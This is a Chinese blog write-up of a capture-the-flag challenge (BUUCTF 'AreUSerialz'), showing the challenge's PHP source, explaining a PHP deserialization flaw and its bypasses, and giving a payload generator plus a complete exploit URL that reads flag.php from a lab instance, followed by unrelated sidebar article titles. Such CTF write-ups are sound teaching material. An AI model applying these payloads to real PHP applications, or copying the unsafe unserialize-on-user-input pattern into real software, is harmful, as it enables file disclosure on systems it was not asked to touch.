当前位置:网站首页>[网鼎杯 2020 青龙组]AreUSerialz(BUUCTF)
[网鼎杯 2020 青龙组]AreUSerialz(BUUCTF)
2022-07-27 05:04:00 【weixin_53150482】
文章目录
打开网页我们获取到一堆源代码,然后进行代码审计:
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { //对象被创建时触发 $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { # 写入文件 $this->write(); } else if($this->op == "2") { # 弱类型比较 $res = $this->read(); # 读取文件 $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { // 对象被销毁时触发 if($this->op === "2") # 使用强类型比较 $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) # 判断有无特殊字符 return false; return true; } if(isset($_GET{ 'str'})) { # 接收 str 参数 $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }我们在这其中发现了 PHP 反序列化漏洞,可能会有人问在哪里?
我们先看其中的两个魔术方法 __construct() 和 __destruct() 这两个方法的用作我已经写在代码中, __construct() 这个方法没有什么问题,倒是__destruct() 这个方法,在执行的时候调用了 process(); 就给出了可乘之机,执行的顺序为 __destruct()–> process()–>read()
绕过:
1.__destruct()中要求op!=2且process()中要求op2
这样用$op=2绕过
2.绕过is_valid()函数,private和protected属性经过序列化都存在不可打印字符在32-125之外,但是对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。对于 PHP 版本查看返回包就可以知道构造 payload :
<?php class FileHandler { public $op = " 2"; public $filename = "flag.php"; public $content; } $a = new FileHandler(); echo serialize($a); ?>网页链接:
http://174ea6c7-cff8-4431-b5e8-dd19fbc5cfce.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:2:%22%202%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;N;}
查看源代码即可得知
边栏推荐
猜你喜欢

Share a multiple-choice question about variables (including global variables, local variables, the scope of variables, and life cycle knowledge points)

分享一道关于程序编译过程的选择题(内含编译过程浅谈,符号表的形成合并过程)

初识C语言——常见的数据类型

一本通1201——斐波那契数列

Hi3516DV300环境搭建

Xiaomi mall project_ register

c语言字符串函数下:strcmp、strncpy、strncat、strncmp、strstr、strtok、strerror

DNSmasq使用总结

异步数据-短信验证码

beef-xss安装与使用
随机推荐
下载url-loader,用limit指定图片大小后,显示不出图片
[极客大挑战 2019]FinalSQL 1
用户-注册-登录
一本通1201——斐波那契数列
C语言初阶——分支语句(if,switch)
C language elementary level -- branch statement (if, switch)
User login - and create and verify SMS verification code
Js中如何进行隐式转换
封装JWT
JS中什么是DOM和BOM
Qsort - the sorting function in C language (with void*, callback function knowledge points
JS中深拷贝和浅拷贝的区别
Promise的理解,以及它的实例方法
JS基础知识--每日学习总结①
mysql 取消外键关联约束
C语言中堆内存介绍和管理
JS中apply、call、bind的区别
set集合
Flask blueprint
cmd命令和npm命令